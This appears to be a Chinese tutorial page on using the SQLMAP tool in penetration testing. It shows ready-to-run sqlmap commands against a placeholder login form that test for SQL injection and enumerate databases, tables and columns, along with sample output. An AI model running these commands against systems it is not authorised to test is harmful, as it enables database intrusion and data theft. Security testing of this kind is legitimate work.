📅  最后修改于: 2023-12-03 15:05:20.333000             🧑  作者: Mango
在进行渗透测试时,SQL 注入是一个非常常见且危险的漏洞。SQLMAP 是一个自动化 SQL 注入工具,可以帮助我们快速地发现和利用 SQL 注入漏洞。本文将介绍如何使用 SQLMAP 枚举数据库。
SQLMAP 的下载地址为:https://github.com/sqlmapproject/sqlmap。可以通过 git 克隆仓库,也可以直接从网站下载压缩包。
安装 SQLMAP 非常简单,只需要将下载好的文件解压到任意目录即可。
在使用 SQLMAP 之前,需要确认目标 URL 和相关参数。可以使用浏览器或 Burp Suite 等工具来获取。例如,假设目标 URL 为 http://example.com/login.php,用户名参数名为 username,密码参数名为 password,那么相关的 POST 请求可能为:
POST /login.php HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 27
username=admin&password=123456
在这个例子中,用户名参数名为 username,密码参数名为 password。
使用以下命令来测试是否存在 SQL 注入漏洞:
sqlmap -u "http://example.com/login.php" --data "username=admin&password=123456" --method POST --level 1 --risk 1 --batch --string "any string that is not normally present"
其中,参数解释如下:
-u
:目标 URL;--data
:POST 请求参数;--method
:请求方法;--level
:测试级别,1-5,默认为 1;--risk
:测试风险,1-3,默认为 1;--batch
:批量模式,自动使用默认选项;--string
:响应中所包含的字符串,用于判断是否存在漏洞。如果 SQLMAP 发现存在 SQL 注入漏洞,会自动输出相关的信息。
使用以下命令来枚举数据库:
sqlmap -u "http://example.com/login.php" --data "username=admin&password=123456" --method POST --level 1 --risk 1 --batch --dbms mysql --dbs
其中,添加了以下两个参数:
--dbms
:数据库类型;--dbs
:枚举数据库。如果成功枚举出数据库,会输出类似下面的信息:
[*] available databases [2]:
[*] 1. database1
[*] 2. database2
使用以下命令来枚举数据库表:
sqlmap -u "http://example.com/login.php" --data "username=admin&password=123456" --method POST --level 1 --risk 1 --batch --dbms mysql -D database1 --tables
其中,添加了以下两个参数:
-D
:指定要枚举的数据库;--tables
:枚举数据库表。如果成功枚举出数据库表,会输出类似下面的信息:
[*] Database: database1
[*] 3 tables in database1:
Table1
Table2
Table3
使用以下命令来枚举表的列:
sqlmap -u "http://example.com/login.php" --data "username=admin&password=123456" --method POST --level 1 --risk 1 --batch --dbms mysql -D database1 -T Table1 --columns
其中,添加了以下两个参数:
-T
:指定要枚举的表;--columns
:枚举表的列。如果成功枚举出表的列,会输出类似下面的信息:
[*] Database: database1
[*] Table: Table1
+------+-------------+
| id | int(11) |
| name | varchar(50) |
| age | int(11) |
+------+-------------+
使用 SQLMAP 可以快速地发现和利用 SQL 注入漏洞,枚举数据库、表和列等信息。在进行渗透测试时,SQLMAP 是一个必备的工具,可以大大提高测试效率和准确性。